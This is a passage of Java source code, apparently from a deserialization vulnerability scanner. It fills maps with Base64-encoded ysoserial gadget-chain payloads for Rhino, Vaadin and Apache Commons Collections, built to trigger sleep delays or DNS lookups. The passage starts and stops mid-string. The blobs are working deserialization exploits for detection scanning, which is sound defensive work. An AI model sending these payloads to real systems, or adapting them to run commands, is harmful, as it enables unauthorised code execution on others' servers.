tYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BABBqYXZhL2xhbmcvVGhyZWFkBwAqAQAFc2xlZXABAAQoSilWDAAsAC0KACsALgEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDM4NTU1OTgzMjQ2MDABACBMeXNvc2VyaWFsL1B3bmVyMjAzODU1NTk4MzI0NjAwOwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC8AEgAAAAwAAQAAAAUAEwAyAAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAA0ABIAAAAgAAMAAAABABMAMgAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA4ABIAAAAqAAQAAAABABMAMgAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAACIAAwACAAAADacAAwFMEScQhbgAL7EAAAABADAAAAADAAEDAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB+AaIAAAHUyv66vgAAADIAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAPAASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHQAD2phdmEubGFuZy5DbGFzc3h3BAAAAAVzcQB+AWIAAAAzeotxAH4AQnEAfgCBc3IAIG9yZy5tb3ppbGxhLmphdmFzY3JpcHQuTWVtYmVyQm94WD4b5gbjBLUDAAB4cHcCAQF0AAVlbnRlcnZyAB5vcmcubW96aWxsYS5qYXZhc2NyaXB0LkNvbnRleHQAAAAAAAAAAAAAAHhwdwIAAHhwc3EAfgFiAAA46wAHcQB+AERxAH4AgXNyACdvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUphdmFNZXRob2TQQU7+cv5pAAIAAkwADGZ1bmN0aW9uTmFtZXEAfgAFWwAHbWV0aG9kc3QAI1tMb3JnL21vemlsbGEvamF2YXNjcmlwdC9NZW1iZXJCb3g7eHEAfgA3AAAAAHBwcHcEAAAAAHh3BAAAAAB4AAAABHBxAH4ARHVyACNbTG9yZy5tb3ppbGxhLmphdmFzY3JpcHQuTWVtYmVyQm94OzImIU7mIVI5AgAAeHAAAAABc3EAfgGodwIBAXQADm5ld1RyYW5zZm9ybWVydnEAfgGbdwIAAHhweHcEAAAAAHg="));
        payloadsSleep.put("Mozilla Rhino Alternate payload (Sleep)", Base64.decodeBase64("rO0ABXNyACdvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUphdmFPYmplY3SfkaWeNcQx4QMAAkwABnBhcmVudHQAI0xvcmcvbW96aWxsYS9qYXZhc2NyaXB0L1NjcmlwdGFibGU7TAAJcHJvdG90eXBlcQB+AAF4cHNyAC5vcmcubW96aWxsYS5qYXZhc2NyaXB0LnRvb2xzLnNoZWxsLkVudmlyb25tZW50+gW/uzvYjVcCAAFMABR0aGVQcm90b3R5cGVJbnN0YW5jZXQAMExvcmcvbW96aWxsYS9qYXZhc2NyaXB0L3Rvb2xzL3NoZWxsL0Vudmlyb25tZW50O3hyACdvcmcubW96aWxsYS5qYXZhc2NyaXB0LlNjcmlwdGFibGVPYmplY3RlzhRyj8QY5AMABEkABWNvdW50TAAQYXNzb2NpYXRlZFZhbHVlc3QAD0xqYXZhL3V0aWwvTWFwO0wAEXBhcmVudFNjb3BlT2JqZWN0cQB+AAFMAA9wcm90b3R5cGVPYmplY3RxAH4AAXhwAAAAAHNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAACHcIAAAACwAAAAF0AApDbGFzc0NhY2hlc3IAIW9yZy5tb3ppbGxhLmphdmFzY3JpcHQuQ2xhc3NDYWNoZYT0xDSW3B8pAgACWgAQY2FjaGluZ0lzRW5hYmxlZEkAFGdlbmVyYXRlZENsYXNzU2VyaWFseHAAAAAAAHhwcHcEAAAAAHhxAH4AB3B3AQF0ABBqYXZhLmxhbmcuT2JqZWN0dXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAHNyACZvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUphdmFBcnJhefMtNmHvePE7AgADSQAGbGVuZ3RoTAAFYXJyYXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANjbHN0ABFMamF2YS9sYW5nL0NsYXNzO3hxAH4AAHEAfgAHc3EAfgADAAAAAXBzcQB+AABxAH4AB3B3AQFxAH4ADXVxAH4ADgAAAABzcQB+AAMAAAABcHBwdwQAAAAFc3IAMm9yZy5tb3ppbGxhLmphdmFzY3JpcHQuU2NyaXB0YWJsZU9iamVjdCRHZXR0ZXJTbG90u/2pI3MgHWwCAAJMAAZnZXR0ZXJxAH4AEUwABnNldHRlcnEAfgAReHIALG9yZy5tb3ppbGxhLmphdmFzY3JpcHQuU2NyaXB0YWJsZU9iamVjdCRTbG90q3noO+OFeJ0CAARTAAphdHRyaWJ1dGVzSQALaW5kZXhPckhhc2hMAARuYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAFdmFsdWVxAH4AEXhwAAAAAYzGdAADZm9vcHNyACBvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk1lbWJlckJveFg+G+YG4wS1AwAAeHB3AgEBdAAFZW50ZXJ2cgAeb3JnLm1vemlsbGEuamF2YXNjcmlwdC5Db250ZXh0AAAAAAAAAAAAAAB4cHcCAAB4cHhxAH4AF3B4cHcEAAAABXNxAH4AGQAAzMn1FHQAEG91dHB1dFByb3BlcnRpZXNweHEAfgAUdwEAc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAaTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAY8yv66vgAAADIAMwcAMQEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAGQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHACcBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEABXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMjAzODg3MzM3OTcyODAwAQAgTHlzb3NlcmlhbC9Qd25lcjIwMzg4NzMzNzk3MjgwMDsAIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAQAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAvABIAAAAMAAEAAAAFABMAMgAAAAEAFQAWAAIAFwAAAAQAAQAYAA4AAAA/AAAAAwAAAAGxAAAAAgARAAAABgABAAAANAASAAAAIAADAAAAAQATADIAAAAAAAEAGgAbAAEAAAABABwAHQACAAEAFQAeAAIAFwAAAAQAAQAYAA4AAABJAAAABAAAAAGxAAAAAgARAAAABgABAAAAOAASAAAAKgAEAAAAAQATADIAAAAAAAEAGgAbAAEAAAABAB8AIAACAAAAAQAhACIAAwAIACkADQABAA4AAAAiAAMAAgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACMAAAACACQAJQAAAAoAAQABACYAKAAJdXEAfgArAAAB1Mr+ur4AAAAyABsHAAIBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwcABAEAEGphdmEvbGFuZy9PYmplY3QHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAZAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAA0ZvbwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoAAQABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAADwAEgAAAAwAAQAAAAUAEwAUAAAAAgAVAAAAAgAWABcAAAAKAAEAAQAYABoACXB0AARQd25ycHcBAHhweAAAAABwcHB4"));
        payloadsSleep.put("Vaadin (Sleep)", Base64.decodeBase64("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAnNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAR3QAGnlzb3NlcmlhbC5wYXlsb2Fkcy5WYWFkaW4xdAAMVmFhZGluMS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAO3QAGXlzb3NlcmlhbC5HZW5lcmF0ZVBheWxvYWR0ABRHZW5lcmF0ZVBheWxvYWQuamF2YXQABG1haW5zcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AB3hyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAZeHNyACRjb20udmFhZGluLmRhdGEudXRpbC5Qcm9wZXJ0eXNldEl0ZW2ayverPgx2lwIAA0wABGxpc3R0ABZMamF2YS91dGlsL0xpbmtlZExpc3Q7TAADbWFwdAATTGphdmEvdXRpbC9IYXNoTWFwO0wAGnByb3BlcnR5U2V0Q2hhbmdlTGlzdGVuZXJzcQB+ABt4cHNyABRqYXZhLnV0aWwuTGlua2VkTGlzdAwpU11KYIgiAwAAeHB3BAAAAAF0ABBvdXRwdXRQcm9wZXJ0aWVzeHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABcQB+ACBzcgApY29tLnZhYWRpbi5kYXRhLnV0aWwuTmVzdGVkTWV0aG9kUHJvcGVydHlWokvLjJk5mwMAA0wACGluc3RhbmNlcQB+AAFMAAxwcm9wZXJ0eU5hbWVxAH4ABUwABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hyACVjb20udmFhZGluLmRhdGEudXRpbC5BYnN0cmFjdFByb3BlcnR5vGagalzPEJ4CAANaAAhyZWFkT25seUwAHXJlYWRPbmx5U3RhdHVzQ2hhbmdlTGlzdGVuZXJzcQB+ABtMABR2YWx1ZUNoYW5nZUxpc3RlbmVyc3EAfgAbeHAAcHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABjzK/rq+AAAAMgAzBwAxAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BABBqYXZhL2xhbmcvVGhyZWFkBwAqAQAFc2xlZXABAAQoSilWDAAsAC0KACsALgEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDQwMDc4ODA0NjQ5MDABACBMeXNvc2VyaWFsL1B3bmVyMjA0MDA3ODgwNDY0OTAwOwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC8AEgAAAAwAAQAAAAUAEwAyAAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAA0ABIAAAAgAAMAAAABABMAMgAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA4ABIAAAAqAAQAAAABABMAMgAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAACIAAwACAAAADacAAwFMEScQhbgAL7EAAAABADAAAAADAAEDAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB+AC4AAAHUyv66vgAAADIAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAPAASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHEAfgAgdnIAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3EAfgAqeHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cHh4cA=="));
        
        // Initialize the DNS payloads
        payloadsDNS = new HashMap<String,byte[]>();
        payloadsDNS.put("Apache Commons Collections 3 (DNS)", Base64.decodeBase64("rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAFGphdmEubmV0LkluZXRBZGRyZXNzLZtXr5/j69sDAANJAAdhZGRyZXNzSQAGZmFtaWx5TAAIaG9zdE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAVWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAlnZXRCeU5hbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB0AAlnZXRNZXRob2R1cQB+AB4AAAACcQB+ACF2cQB+AB5zcQB+ABd1cQB+ABsAAAACdXEAfgAeAAAAAXEAfgAhdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQABVhYWFhYdAAGaW52b2tldXEAfgAeAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AG3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADc="));
        payloadsDNS.put("Apache Commons Collections 3 Alternate payload (DNS)", Base64.decodeBase64("rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1v